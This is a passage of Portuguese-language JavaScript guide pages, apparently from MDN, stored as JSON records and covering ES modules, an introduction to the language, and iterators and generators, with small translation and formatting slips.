muito melhor do que escrever todo o caminho relativo a cada vez, pois é mais curto e torna o URL portátil - o exemplo ainda funcionará se você o mover para um local diferente na hierarquia do site.\n\nEntão, por exemplo:\n```\n\n/js-examples/modules/basic-modules/modules/square.js\n```\n\n\ntorna-se\n```\n\n./modules/square.js\n```\n\n\nVocê pode ver essas linhas em ação em `main.js`.\n\n**Nota:** **Nota: Em alguns sistemas de módulos, você pode omitir a extensão do arquivo e o ponto**(e.g. `'/modules/square'`). Isso não funciona nos módulos JavaScript nativos.\n\n Depois de importar os recursos para o seu script, você pode usá-los exatamente como eles foram definidos no mesmo arquivo. O seguinte é encontrado em\n `main.js`, abaixo das linhas de importação:\n\n\n```js\nlet myCanvas = create(\"myCanvas\", document.body, 480, 320);\nlet reportList = createReportList(myCanvas.id);\n\nlet square1 = draw(myCanvas.ctx, 50, 50, 100, \"blue\");\nreportArea(square1.length, reportList);\nreportPerimeter(square1.length, reportList);\n```\n\n\n**Nota:** **Nota: Embora os recursos importados estejam disponíveis no arquivo, eles são visualizações somente leitura do recurso que foi exportado. Você não pode alterar a variável importada, mas ainda pode modificar propriedades semelhantes à const. Além disso, esses recursos são importados como ligações ativas, o que significa que eles podem mudar de valor mesmo que você não possa modificar a ligação ao contrário de const.**\n\nAplicando o módulo ao seu HTML\n------------------------------\n\nAgora, apenas precisamos aplicar o módulo main.js. à nossa página HTML. Isso é muito semelhante ao modo como aplicamos um script regular a uma página, com algumas diferenças notáveis.\n\nPrimeiro de tudo, você precisa incluir `type=\"module\"` no `<script>` elemento, para declarar esse script como um módulo. Para importar o `main.js` script, usamos este:\n\n\n```html\n<script type=\"module\" src=\"main.js\"></script>\n```\n\n\nVocê também pode incorporar o script do módulo diretamente no arquivo HTML, colocando o código JavaScript no corpo do elemento <script>:\n\n\n```js\n<script type=\"module\">/\\* JavaScript module code here \\*/</script>\n```\n\n\nO script para o qual você importa os recursos do módulo atua basicamente como o módulo de nível superior. Se você o omitir, o Firefox, por exemplo, exibirá um erro \"SyntaxError: as declarações de importação podem aparecer apenas no nível superior de um módulo\".\n\nVocê só pode usar `import` e `export` instruções dentro de módulos, não scripts regulares.\n\nOutras diferenças entre módulos e scripts padrão\n------------------------------------------------\n\n* Você precisa prestar atenção nos testes locais - se você tentar carregar o arquivo HTML localmente (i.e. com um arquivo`://` URL), você encontrará erros do CORS devido a requisitos de segurança do módulo JavaScript. Você precisa fazer seus testes através de um servidor.\n* Além disso, observe que você pode obter um comportamento diferente das seções de script definidas dentro dos módulos e não nos scripts padrão. Isso ocorre porque os módulos usam strict mode automaticamente.\n* Não há necessidade de usar o atributo deferir (consulte `<script>` attributes) ao carregar um script de módulo; módulos são adiados automaticamente.\n* Os módulos são executados apenas uma vez, mesmo que tenham sido referenciados em várias tags <script>.\n* Por último, mas não menos importante, vamos esclarecer: os recursos do módulo são importados para o escopo de um único script - eles não estão disponíveis no escopo global. Portanto, você poderá acessar apenas os recursos importados no script para o qual eles foram importados e não poderá acessá-los no console JavaScript, por exemplo. Você ainda receberá erros de sintaxe mostrados no DevTools, mas não poderá usar algumas das técnicas de depuração que você esperava usar.\nExportações padrão versus exportações nomeadas\n----------------------------------------------\n\nA funcionalidade que exportamos até agora foi composta por **named exports** — cada item (seja uma função, const, etc.) foi referido por seu nome na exportação e esse nome também foi usado para se referir a ele na importação.\n\nHá também um tipo de exportação chamado **default export** — isso foi projetado para facilitar a função padrão fornecida por um módulo e também ajuda os módulos JavaScript a interoperar com os sistemas de módulos CommonJS e AMD existentes (conforme explicado em ES6 In Depth: Modules por Jason Orendorff; procure por \"Exportações padrão\").\n\nVejamos um exemplo ao explicar como ele funciona. Nos nossos módulos básicos `square.js` você pode encontrar uma função chamada `randomSquare()` que cria um quadrado com cor, tamanho e posição aleatórios. Queremos exportar isso como padrão, portanto, na parte inferior do arquivo, escrevemos isso:\n\n\n```js\nexport default randomSquare;\n```\n\n\nNote a falta dos colchetes.\n\nEm vez disso, poderíamos acrescentar `export default` na função e defina-a como uma função anônima, assim:\n\n\n```js\nexport default function(ctx) {\n  ...\n}\n```\n\n\nNo nosso arquivo main.js., importamos a função padrão usando esta linha:\n\n\n```js\nimport randomSquare from \"./modules/square.js\";\n```\n\n\nIsso ocorre porque há apenas uma exportação padrão permitida por módulo e sabemos que *randomSquare* é isso.\n\n\n```js\nimport { default as randomSquare } from \"./modules/square.js\";\n```\n\n\n**Nota:** **Nota: A sintaxe as para renomear itens exportados é explicada abaixo no** Renaming imports and exports seção.\n\nEvitando conflitos de nomenclatura\n----------------------------------\n\nAté agora, nossos módulos de desenho de forma de tela parecem estar funcionando bem. Mas o que acontece se tentarmos adicionar um módulo que lide com o desenho de outra forma, como um círculo ou triângulo? Essas formas provavelmente teriam funções associadas, como `draw()`, `reportArea()`, etc. também; se tentássemos importar diferentes funções com o mesmo nome para o mesmo arquivo de módulo de nível superior, acabaríamos com conflitos e erros.\n\nFelizmente, existem várias maneiras de contornar isso. Veremos isso nas próximas seções.\n\nRenomeando importações e exportações\n------------------------------------\n\nDentro dos colchetes da instrução de importação e exportação, você pode usar a palavra-chave junto com um novo nome de recurso, para alterar o nome de identificação que será usado para um recurso dentro do módulo de nível superior.\n\nPor exemplo, os dois itens a seguir executariam o mesmo trabalho, embora de uma maneira ligeiramente diferente:\n\n\n```js\n// inside module.js\nexport { function1 as newFunctionName, function2 as anotherNewFunctionName };\n\n// inside main.js\nimport { newFunctionName, anotherNewFunctionName } from \"./modules/module.js\";\n```\n\n\n\n```js\n// inside module.js\nexport { function1, function2 };\n\n// inside main.js\nimport {\n  function1 as newFunctionName,\n  function2 as anotherNewFunctionName,\n} from \"./modules/module.js\";\n```\n\n\nVejamos um exemplo real. Na nossa renaming diretório, você verá o mesmo sistema de módulos do exemplo anterior, exceto que adicionamos `circle.js` e `triangle.js` módulos para desenhar e relatar círculos e triângulos.\n\nDentro de cada um desses módulos, temos recursos com os mesmos nomes sendo exportados e, portanto, cada um tem o mesmo `export` declaração na parte inferior:\n\n\n```js\nexport { name, draw, reportArea, reportPerimeter };\n```\n\n\nAo importá-los para o main.js, se tentarmos usar\n\n\n```js\nimport { name, draw, reportArea, reportPerimeter } from \"./modules/square.js\";\nimport { name, draw, reportArea, reportPerimeter } from \"./modules/circle.js\";\nimport { name, draw, reportArea, reportPerimeter } from \"./modules/triangle.js\";\n```\n\n\nO navegador geraria um erro como \"SyntaxError: redeclaration of import name\" (Firefox).\n\nEm vez disso, precisamos renomear as importações para que sejam únicas:\n\n\n```js\nimport {\n  name as squareName,\n  draw as drawSquare,\n  reportArea as reportSquareArea,\n  reportPerimeter as reportSquarePerimeter,\n} from \"./modules/square.js\";\n\nimport {\n  name as circleName,\n  draw as drawCircle,\n  reportArea as reportCircleArea,\n  reportPerimeter as reportCirclePerimeter,\n} from \"./modules/circle.js\";\n\nimport {\n  name as triangleName,\n  draw as drawTriangle,\n  reportArea as reportTriangleArea,\n  reportPerimeter as reportTrianglePerimeter,\n} from \"./modules/triangle.js\";\n```\n\n\nObserve que você pode resolver o problema nos arquivos do módulo, e.g.\n\n\n```js\n// in square.js\nexport {\n  name as squareName,\n  draw as drawSquare,\n  reportArea as reportSquareArea,\n  reportPerimeter as reportSquarePerimeter,\n};\n```\n\n\n\n```js\n// in main.js\nimport {\n  squareName,\n  drawSquare,\n  reportSquareArea,\n  reportSquarePerimeter,\n} from \"./modules/square.js\";\n```\n\n\nE funcionaria da mesma forma. Qual o estilo que você usa depende de você, no entanto, sem dúvida faz mais sentido deixar o código do módulo em paz e fazer as alterações nas importações. Isso faz especialmente sentido quando você está importando de módulos de terceiros sobre os quais você não tem controle.\n\n24/5000\n\nCriando um objeto de módulo\n\nO método acima funciona bem, mas é um pouco confuso e longo. Uma solução ainda melhor é importar os recursos de cada módulo dentro de um objeto de módulo. O seguinte formulário de sintaxe faz isso:\n\n\n```js\nimport \\* as Module from \"./modules/module.js\";\n```\n\n\nIsso captura todas as exportações disponíveis no module.js e as torna disponíveis como membros de um objeto `Module`, efetivamente dando o seu próprio namespace. Então, por exemplo:\n\n\n```js\nModule.function1()\nModule.function2()\netc.\n```\n\n\nNovamente, vejamos um exemplo real. Se você for ao nosso module-objects diretório, você verá o mesmo exemplo novamente, mas reescrito para aproveitar essa nova sintaxe. Nos módulos, as exportações são todas da seguinte forma simples:\n\n\n```js\nexport { name, draw, reportArea, reportPerimeter };\n```\n\n\nAs importações, por outro lado, são assim:\n\n\n```js\nimport \\* as Canvas from \"./modules/canvas.js\";\n\nimport \\* as Square from \"./modules/square.js\";\nimport \\* as Circle from \"./modules/circle.js\";\nimport \\* as Triangle from \"./modules/triangle.js\";\n```\n\n\nEm cada caso, agora você pode acessar as importações do módulo abaixo do nome do objeto especificado, por exemplo:\n\n\n```js\nlet square1 = Square.draw(myCanvas.ctx, 50, 50, 100, \"blue\");\nSquare.reportArea(square1.length, reportList);\nSquare.reportPerimeter(square1.length, reportList);\n```\n\n\nAgora você pode escrever o código da mesma forma que antes (contanto que inclua os nomes dos objetos quando necessário) e as importações sejam muito mais limpas.\n\nMódulos e classes\n-----------------\n\nComo sugerimos anteriormente, você também pode exportar e importar classes; essa é outra opção para evitar conflitos no seu código e é especialmente útil se você já tiver o código do módulo gravado em um estilo orientado a objetos.\n\nVocê pode ver um exemplo do nosso módulo de desenho de forma reescrito com as classes ES em nosso classes diretório. Como exemplo, o `square.js` O arquivo agora contém todas as suas funcionalidades em uma única classe:\n\n\n```js\nclass Square {\n  constructor(ctx, listId, length, x, y, color) {\n    ...\n  }\n\n  draw() {\n    ...\n  }\n\n  ...\n}\n```\n\n\nque exportamos então:\n\n\n```js\nexport { Square };\n```\n\n\nNo main.js, nós o importamos assim:\n\n\n```js\nimport { Square } from \"./modules/square.js\";\n```\n\n\nE então use a classe para desenhar nosso quadrado:\n\n\n```js\nlet square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, \"blue\");\nsquare1.draw();\nsquare1.reportArea();\nsquare1.reportPerimeter();\n```\n\nMódulos de agregação\n--------------------\n\nHaverá momentos em que você desejará agregar módulos. Você pode ter vários níveis de dependências, nos quais deseja simplificar as coisas, combinando vários submódulos em um módulo pai. Isso é possível usando a sintaxe de exportação dos seguintes formulários no módulo pai:\n\n\n```js\nexport \\* from \"x.js\";\nexport { name } from \"x.js\";\n```\n\n\nPor exemplo, veja nosso module-aggregation diretório. Neste exemplo (com base no exemplo de classes anteriores), temos um módulo extra chamado shapes.js, que agrega toda a funcionalidade de circle.js, square.js e triangle.js juntos. Também movemos nossos submódulos para dentro de um subdiretório dentro do diretório modules chamado shapes. Portanto, a estrutura do módulo neste exemplo é:\n```\n\nmodules/\n  canvas.js\n  shapes.js\n  shapes/\n    circle.js\n    square.js\n    triangle.js\n```\n\n\nEm cada um dos submódulos, a exportação é da mesma forma, e.g.\n\n\n```js\nexport { Square };\n```\n\n\nEm seguida, vem a parte de agregação. Dentro de shapes.js, incluímos as seguintes linhas:\n\n\n```js\nexport { Square } from \"./shapes/square.js\";\nexport { Triangle } from \"./shapes/triangle.js\";\nexport { Circle } from \"./shapes/circle.js\";\n```\n\n\nEles capturam as exportações dos submódulos individuais e os disponibilizam efetivamente no módulo shapes.js.\n\n**Nota:** **Nota: As exportações mencionadas no shapes.js são basicamente redirecionadas pelo arquivo e realmente não existem nele, portanto, você não poderá escrever nenhum código relacionado útil dentro do mesmo arquivo.**\n\nPortanto, agora no arquivo main.js., podemos obter acesso às três classes de módulos substituindo\n\n\n```js\nimport { Square } from \"./modules/square.js\";\nimport { Circle } from \"./modules/circle.js\";\nimport { Triangle } from \"./modules/triangle.js\";\n```\n\n\ncom a seguinte linha única:\n\n\n```js\nimport { Square, Circle, Triangle } from \"./modules/shapes.js\";\n```\n\nCarregamento dinâmico do módulo\n-------------------------------\n\nA parte mais recente da funcionalidade dos módulos JavaScript a estar disponível nos navegadores é o carregamento dinâmico de módulos. Isso permite que você carregue módulos dinamicamente somente quando eles forem necessários, em vez de precisar carregar tudo antecipadamente. Isso tem algumas vantagens óbvias de desempenho; vamos ler e ver como isso funciona.\n\nEssa nova funcionalidade permite que você ligue `import()` como uma função, passando o caminho para o módulo como um parâmetro. Retorna um`Promise`, que cumpre com um objeto de módulo (consulte Creating a module object) dando acesso às exportações desse objeto, e.g.\n\n\n```js\nimport(\"./modules/myModule.js\").then((module) => {\n  // Do something with the module.\n});\n```\n\n\nVejamos um exemplo. No dynamic-module-imports diretório, temos outro exemplo baseado em nosso exemplo de classes. Desta vez, no entanto, não estamos desenhando nada na tela quando o exemplo é carregado. Em vez disso, incluímos trêsbuttons — \"Circle\", \"Square\", e \"Triangle\" — que, quando pressionado, carrega dinamicamente o módulo necessário e, em seguida, usa-o para desenhar os shape.\n\nNeste exemplo, fizemos apenas alterações em nossa `index.html` e `main.js` arquivos - as exportações do módulo permanecem as mesmas de antes.\n\nNo main.js, pegamos uma referência a cada botão usando um`Document.querySelector()` chamada, por exemplo:\n\n\n```js\nlet squareBtn = document.querySelector(\".square\");\n```\n\n\nEm seguida, anexamos um ouvinte de evento a cada botão para que, quando pressionado, o módulo relevante seja carregado dinamicamente e usado para desenhar a forma(shape):\n\n\n```js\nsquareBtn.addEventListener(\"click\", () => {\n  import(\"./modules/square.js\").then((Module) => {\n    let square1 = new Module.Square(\n      myCanvas.ctx,\n      myCanvas.listId,\n      50,\n      50,\n      100,\n      \"blue\",\n    );\n    square1.draw();\n    square1.reportArea();\n    square1.reportPerimeter();\n  });\n});\n```\n\n\nObserve que, como o cumprimento da promessa retorna um objeto de módulo, a classe é então transformada em uma sub-característica do objeto, portanto, agora precisamos acessar o construtor com `Module.` anexado a ele, e.g. `Module.Square( ... )`.\n\nSolução de problemas\n--------------------\n\nAqui estão algumas dicas que podem ajudá-lo se você estiver com problemas para fazer seus módulos funcionarem. Sinta-se livre para adicionar à lista se descobrir mais!\n\n* Mencionamos isso antes, mas para reiterar: arquivos`.js` precisa ser carregado com um tipo MIME de `text/javascript` (ou outro tipo MIME compatível com JavaScript, mas `text/javascript` é recomendável), caso contrário, você receberá um erro estrito de verificação do tipo MIME como \"O servidor respondeu com um tipo MIME não JavaScript\".\n* Se você tentar carregar o arquivo HTML localmente (i.e. com um arquivo`://` URL), você encontrará erros do CORS devido a requisitos de segurança do módulo JavaScript. Você precisa fazer seus testes através de um servidor. As páginas do GitHub são ideais, pois também servem arquivos .js com o tipo MIME correto.\n* Como .mjs é uma extensão de arquivo não padrão, alguns sistemas operacionais podem não reconhecê-lo ou tentar substituí-lo por outra. Por exemplo, descobrimos que o macOS estava adicionando silenciosamente .js ao final dos arquivos .mjs e ocultando automaticamente a extensão do arquivo. Então, todos os nossos arquivos foram lançados como x.mjs.js. Depois de desativarmos ocultar automaticamente as extensões de arquivo e treiná-lo para aceitar .mjs, tudo bem.\nVeja também\n-----------\n\n* Using JavaScript modules on the web, por Addy Osmani e Mathias Bynens\n* ES modules: A cartoon deep-dive, Postagem no blog Hacks por Lin Clark\n* ES6 in Depth: Modules, Publicação de blog de Hacks por Jason Orendorff\n* Livro de Axel Rauschmayer Exploring JS: Modules\n* « Previous"}
{"title":"Introdução - JavaScript","text":"Introdução\n==========\n\n* « Previous\n* Next »\n\nEste capítulo apresenta o JavaScript e discute alguns de seus conceitos fundamentais.\n\nO que você realmente já deveria saber?\n--------------------------------------\n\nEste guia assume que você tem os seguintes conhecimentos básicos:\n\n* Um entendimento geral da internet e da World Wide Web (WWW (en-US)).\n* Um bom conhecimento de HyperText Markup Language (HTML)\n* Alguma experiência em programação. Se você é novo em programação, veja alguns tutorias na página inicial sobre JavaScript.\nOnde encontrar informações sobre JavaScript\n-------------------------------------------\n\nA documentação de JavaScript na MDN inclui o seguinte:\n\n* Aprendendo sobre a internet fornece informações aos iniciantes e introduz os conceitos básicos de programação e da internet.\n* Guia JavaScript (este guia) dá uma visão geral sobre a linguagem de programação JavaScript e seus objetos.\n* Referência JavaScript provê um material de referência detalhado da linguagem JavaScript.\n\nSe você é novo em JavaScript, comece com os artigos na área de aprendizado e com o Guia JavaScript. Quando você já possuir uma compreensão dos princípios básicos, você pode usar a Referência JavaScript para ter mais detalhes sobre objetos e declarações.\n\nO que é JavaScript?\n-------------------\n\nJavaScript é uma linguagem de script orientada a objetos e plataforma cruzada usada para tornar as páginas da Web interativas (por exemplo, com animações complexas, botões clicáveis, menus pop-up etc.). Há também versões mais avançadas do lado do servidor do JavaScript, como Node.js, que permitem adicionar mais funcionalidades a um site do que baixar arquivos (como colaboração em tempo real entre vários computadores). Dentro de um ambiente de host (por exemplo, um navegador da Web), o JavaScript pode ser conectado aos objetos de seu ambiente para fornecer controle programático sobre eles.\n\nJavaScript tem uma biblioteca padrão de objetos, como: `Array`, `Date`, e `Math`, e um conjunto de elementos que formam o núcleo da linguagem, tais como: operadores, estruturas de controle e declarações. O núcleo do JavaScript pode ser estendido para uma variedade de propósitos, complementando assim a linguagem:\n\n* *O lado cliente do JavaScript* estende-se do núcleo linguagem, fornecendo objetos para controlar um navegador web e seu *Document Object Model* (DOM). Por exemplo, as extensões do lado do cliente permitem que uma aplicação coloque elementos em um formulário HTML e responda a eventos do usuário, como cliques do mouse, entrada de formulário e de navegação da página.\n* *O lado do servidor do JavaScript* estende-se do núcleo da linguagem, fornecendo objetos relevantes à execução do JavaScript em um servidor. Por exemplo, as extensões do lado do servidor permitem que uma aplicação comunique-se com um banco de dados, garantindo a continuidade de informações de uma chamada para a outra da aplicação, ou executar manipulações de arquivos em um servidor.\n\nIsso significa que, no navegador, o JavaScript pode alterar a aparência da página da Web (DOM). E, da mesma forma, o JavaScript Node.js no servidor pode responder a solicitações personalizadas enviadas por código executado no navegador.\n\nJavaScript e Java\n-----------------\n\nJavaScript e Java são similares em algumas coisas, mas são diferentes em outras. O JavaScript assemelha-se ao Java, porém não possui tipagem estática e checagem rigída de tipos como o Java. JavaScript segue a sintaxe básica do Java, convenções de nomenclatura e construções de controle de fluxo, razões pelas quais esta linguagem foi renomeada de LiveScript para JavaScript.\n\nEm contraste com o sistema em tempo de compilação das classes construídas por declarações no Java, JavaScript suporta um sistema em tempo de execução com base em um pequeno número de tipos de dados representando valores numéricos, booleanos, e strings. JavaScript tem um modelo de objeto baseado em protótipo em vez do modelo, mais comum, de objeto baseado em classes. O modelo baseado em protótipo fornece herança dinâmica; isto é, o que é herdado pode variar para objetos individuais. JavaScript também suporta funções sem quaisquer requisitos especiais declarativos. As funções podem ser propriedades de objetos, executando como métodos.\n\nJavaScript é uma linguagem mais livre em comparação a Java. Você não tem de declarar todas as variáveis, classes e métodos. Você não tem que se preocupar com o fato dos métodos serem públicos, privados ou protegidos, e você não tem que implementar interfaces. Variáveis, parâmetros e tipo de retorno da função não são explicitamente tipados.\n\nJava é uma linguagem de programação baseada em classes, projetada para execução rápida e segurança de tipos. Segurança de tipo significa que, por exemplo, você não pode converter um número inteiro em Java para uma referência de objeto ou acessar a memória privada corrompendo bytecodes Java. O modelo baseado em classes do Java significa que os programas são exclusivamente constituídos por classes e seus métodos. Herança de classe do Java e tipagem forte geralmente requerem hierarquias de objetos fortemente acoplados. Esses requisitos tornam a programação em Java mais complexa do que a programação em JavaScript.\n\nEm contraste, JavaScript descende em espírito de uma linhagem de linguagens menores com tipagem dinâmica, como HyperTalk e dBASE. Essas linguagens de script oferecem ferramentas de programação para um público muito mais amplo por causa de sua sintaxe mais fácil, funções especializadas embutidas e requisitos mínimos para a criação de objetos.\n\n| JavaScript | Java |\n| --- | --- |\n| Orientada a objeto. Sem distinção entre tipos e objetos. A herança é feita através do protótipo e as propriedades e métodos podem ser adicionadas a qualquer objeto dinamicamente. | Baseada em classes. Objetos são divididos em classes e instâncias com toda a herança através da hierarquia da classe. Classes e instâncias não podem ter propriedades ou métodos adicionados dinamicamente. |\n| Os tipos de dados das variáveis não precisam ser declarados (tipagem dinâmica, vagamente tipado) | Os tipos de dados das variáveis devem ser declarados (tipagem estática, fortemente tipado). |\n| Não pode escrever automaticamente no disco rigído. | Pode escrever automaticamente no disco rigído. |\n\nJavaScript e a especificação ECMAScript\n---------------------------------------\n\nO JavaScript é padronizado pela Ecma International — a associação Europeia para a padronização de sistemas de comunicação e informação (antigamente ECMA era um acrônimo para European Computer Manufacturers Association) para entregar uma linguagem de programação padronizada, internacional baseada em JavaScript. Esta versão padronizada de JavaScript, chamada ECMAScript, comporta-se da mesma forma em todas as aplicações que suportam o padrão. As empresas podem usar a linguagem de padrão aberto para desenvolver a sua implementação de JavaScript. O padrão ECMAScript é documentado na especificação ECMA-262.\n\nO padrão ECMA-262 também é aprovado pela ISO (International Organization for Standardization) como ISO-16262. Você também pode encontrar a especificação no site da Ecma International. A especificação ECMAScript não descreve o Document Object Model (DOM), que é padronizado pelo World Wide Web Consortium (W3C) e/ou WHATWG (Web Hypertext Application Technology Working Group). O DOM define a maneira na qual os objetos do documento HTML estão expostos no seu script. Para ter uma ideia melhor sobre as diferentes tecnologias que são usadas durante a programação com JavaScript, consultar o artigo Visão Geral das tecnologias JavaScript.\n\n### Documentação JavaScript versus especificação ECMAScript\n\nA especificação ECMAScript é um conjunto de requisitos para a implementação ECMAScript. É útil se você desejar implementar recursos compatíveis com os padrões da linguagem em sua implementação ECMAScript ou *engine* (como SpiderMonkey no Firefox, ou v8 no Chrome).\n\nO documento ECMAScript *não* se destina a ajudar programadores de script. Utilize a documentação JavaScript para obter informações ao escrever scripts.\n\nA especificação ECMAScript utiliza terminologia e sintaxe que podem ser desconhecidos para um programador JavaScript. Embora a descrição da linguagem possa ser diferente no ECMAScript, a linguagem em si continua sendo a mesma. JavaScript suporta todas as funcionalidades descritas na especificação ECMAScript.\n\nA documentação JavaScript descreve aspectos da linguagem que são apropriadas para um programador JavaScript.\n\nComeçando com JavaScript\n------------------------\n\nPara começar a aprender JavaScript é fácil: Tudo o que você precisa é de um navegador web moderno. Versões recentes do Firefox, Chrome, Microsoft Edge, e Safari todas suportam os recursos discutidos neste guia.\n\nUma ferramenta muito útil para explorar o JavaScript é o JavaScript Console (às vezes chamado de Web Console, ou apenas o console): é uma ferramenta que permite inserir JavaScript e executá-lo na página atual.\n\nA captura de tela aqui mostra o Firefox Web Console, mas todos os navegadores modernos vêm com um console que funciona de maneira semelhante.\n\n### Abrindo o console\n\nAs instruções exatas para abrir o console variam de um navegador para outro:\n\n* Abrindo o console no Firefox\n* Abrindo o console no Chrome\n* Abrindo o console no Microsoft Edge\n### Inserindo e executando JavaScript\n\nO console aparece na parte inferior da janela do navegador. Na parte inferior do console há uma linha de entrada que você pode usar para inserir JavaScript, e a saída aparece no painel acima:\n\n![Uma janela do navegador com o console da web aberto na parte inferior, contendo duas linhas de entrada e saída. O texto pode ser inserido abaixo disso.](/pt-BR/docs/Web/JavaScript/Guide/Introduction/2019-04-04_00-15-29.png)\n\nO console funciona exatamente da mesma forma que `eval`: a última expressão digitada é retornada. Por uma questão de simplicidade, pode-se imaginar que toda vez que algo é inserido no console, ele é realmente cercado por `console.log` em torno de `eval`, assim:\n\n\n```js\nconsole.log(eval(\"3 + 5\"));\n```\n\n### Entrada de várias linhas no console\n\nPor padrão, se você pressionar `Enter` após inserir uma linha de código, a string digitada será executada. Para inserir entrada multilinha:\n\n* Se a string digitada estiver incompleta (por exemplo, você digitou `function foo() {`), o console tratará `Enter` como uma quebra de linha e permitirá que você digite outra linha.\n* Se você segurar `Shift` enquanto pressiona `Enter`, o console tratará isso como uma quebra de linha e permitirá que você digite outra linha.\n* Somente no Firefox, você pode ativar modo de entrada multi-linha, em onde você pode inserir várias linhas em um mini-editor e, em seguida, executar tudo quando estiver pronto.\n\nPara começar a escrever JavaScript, abra o console, copie o seguinte código e cole na linha de comando:\n\n\n```js\n(function () {\n  \"use strict\";\n  /\\* Ínicio do seu código \\*/\n  function greetMe(seuNome) {\n    alert(`Olá ${seuNome}`);\n  }\n\n  greetMe(\"Mundo\");\n  /\\* Fim do seu código \\*/\n})();\n```\n\n\nPressione `Enter` para vê-lo abrir em seu navegador!\n\nO que vem em seguida?\n---------------------\n\nNas páginas seguintes, este guia apresentará a sintaxe e os recursos da linguagem JavaScript, para que você possa escrever aplicativos mais complexos.\n\nMas, por enquanto, lembre-se de sempre incluir `(function(){\"use strict\";` antes de seu código e adicionar `})();` ao final de seu código. Os artigos modo estrito e IIFE explicam o que eles fazem, mas por enquanto eles podem ser considerados em fazer o seguinte:\n\n1. Evitam a semântica em JavaScript que engana os iniciantes.\n2. Impedem que trechos de código executados no console interajam entre si (por exemplo, ter algo criado em uma execução de console sendo usado para uma execução de console diferente).\n* « Previous\n* Next »"}
{"title":"Iteratores e geradores - JavaScript","text":"Iteratores e geradores\n======================\n\n* « Previous\n* Next »\n\nProcessar cada item em uma coleção é uma operação muito comum. O JavaScript disponibiliza uma série de maneiras de iterar sobre uma coleção, desde um simples laço `for`, até um `map()` e também com o `filter()`. Iteradores e Geradores trazem o conceito da interação ocorrer diretamente no núcleo da linguagem e prover um mecanismo para a customização do comportamento dos laços `for...of`.\n\nPara detalhes, também veja:\n\n* Protocolos de iteração\n* `for...of`\n* `function*` e `Generator`\n* `yield` e `yield*`\nIterators (Iteradores)\n----------------------\n\nUm objeto é um **iterator (iterador)** quando sabe como acessar itens numa coleção, um por vez, enquanto mantém rastreada a posição atual em uma dada sequência. Em JavaScript um iterator é um objeto que oferece o método `next()`, o qual retorna o próximo item da sequência. Este método retorna um objeto com duas propriedades: `done` e `value`.\n\nUma vez criado, um objeto iterator pode ser usado explicitamente ao chamar repetidas vezes o método `next()`.\n\n\n```js\nconst makeIterator = (array) => {\n  let nextIndex = 0;\n\n  return {\n    next: () => {\n      return nextIndex < array.length\n        ? { value: array[nextIndex++], done: false }\n        : { done: true };\n    },\n  };\n};\n```\n\n\nUma vez inicializado, o método `next()` pode ser chamado para acessar os pares chave/valor do objeto da vez.\n\n\n```js\nlet it = makeIterator([\"yo\", \"ya\"]);\nconsole.log(it.next().value); // 'yo'\nconsole.log(it.next().value); // 'ya'\nconsole.log(it.next().done); // true\n```\n\nIterables (Iteráveis)\n---------------------\n\nUm objeto é iterável **(iterable),** se ele define seu comportamento de iteração, como no caso de quais valores percorridos em um laço do tipo `for..of`. Alguns tipos embutidos, como o `Array`, ou o `Map`, têm um comportamento iterável padrão, enquanto outros tipos (como o`Object`) não possuem.\n\nPara que um objeto seja **iterable**, o objeto precisa implementar o método **@@iterator**, significando que o objeto (ou um dos objetos na cadeia de prototipagem - prototype chain) precisa ter uma propriedade com uma chave `Symbol.iterator`:\n\n### Iterables definidos pelo usuário\n\nVocê pode fazer seus próprios iteráveis da seguinte maneira:\n\n\n```js\nvar myIterable = {};\nmyIterable[Symbol.iterator] = function\\* () {\n  yield 1;\n  yield 2;\n  yield 3;\n};\n[...myIterable]; // [1, 2, 3]\n```\n\n### Iterables Built-in (Iteráveis Embutidos)\n\n`String`, `Array`, `TypedArray` (en-US), `Map` e `Set` são iteráveis embutidos, pois o protótipo dos objetos de todos eles têm o método `Symbol.iterator`.\n\n### Syntaxes expecting iterables\n\nAlgumas declarações e expressões esperam por iteradores, por exemplo o `for-of` loops, spread operator (en-US), `yield*`, e destructuring assignment.\n\n\n```js\nfor (let value of [\"a\", \"b\", \"c\"]) {\n  console.log(value);\n}\n// \"a\"\n// \"b\"\n// \"c\"\n\n[...\"abc\"]; // [\"a\", \"b\", \"c\"]\n\nfunction\\* gen() {\n  yield\\* [\"a\", \"b\", \"c\"];\n}\n\ngen().next(); // { value:\"a\", done:false }\n\n[(a, b, c)] = new Set([\"a\", \"b\", \"c\"]);\na; // \"a\"\n```\n\nGenerators\n----------\n\nEnquanto os iteradores são ferramentas muito úteis, sua criação requer um cuidado devido à necessidade de manter explícito seu estado interno. **Generators** provêm uma alternativa poderosa: eles te permitem definir um algoritmo iterativo escrevendo uma função simples que pode manter seu estado próprio.\n\nGenerator é um tipo especial de função que trabalha como uma factory para iteradores. A função vira um generator se ela contém uma ou mais expressões `yield` e se ela usa a sintaxe `function*`.\n\n\n```js\nfunction\\* idMaker() {\n  var index = 0;\n  while (true) yield index++;\n}\n\nvar gen = idMaker();\n\nconsole.log(gen.next().value); // 0\nconsole.log(gen.next().value); // 1\nconsole.log(gen.next().value); // 2\n// ...\n```\n\nGenerators avançados\n--------------------\n\nGenerators computam seus valores \"yielded\" por demanda, que os permitem representar sequências de forma eficiente que costumam ser trabalhosas ao serem computadas, ou até sequências infinitas como demonstradas acima.\n\nO método `next()` (en-US) também aceita um valor que pode ser usado para modificar o estado interno de um generator. O valor passado pro `next()` será tratado como o resultado da última expressão yield que pausou o generator.\n\nAqui um gerador de sequência Fibonacci usando `next(x)` pra restartar a sequência:\n\n\n```js\nfunction\\* fibonacci() {\n  var fn1 = 1;\n  var fn2 = 1;\n  while (true) {\n    var current = fn2;\n    fn2 = fn1;\n    fn1 = fn1 + current;\n    var reset = yield current;\n    if (reset) {\n      fn1 = 1;\n      fn2 = 1;\n    }\n  }\n}\n\nvar sequence = fibonacci();\nconsole.log(sequence.next().value); // 1\nconsole.log(sequence.next().value); // 1\nconsole.log(sequence.next().value); // 2\nconsole.log(sequence.next().value); // 3\nconsole.log(sequence.next().value); // 5\nconsole.log(sequence.next().value); // 8\nconsole.log(sequence.next().value); // 13\nconsole.log(sequence.next(true).value); // 1\nconsole.log(sequence.next().value); // 1\nconsole.log(sequence.next().value); // 2\nconsole.log(sequence.next().value); // 3\n```\n\n\n**Nota:** Como um ponto de interesse, chamando `next(undefined)` é o mesmo que chamar `next()`. Entretanto, estartar um novo generator com qualquer valor que não seja undefined na chamada next() terá `TypeError` exception.\n\nVocê pode forçar um generator a lançar uma exceção chamando o seu método `throw()` (en-US) e passando o valor da exceção que ele deve lançar. Essa exceção será lançada do contexto 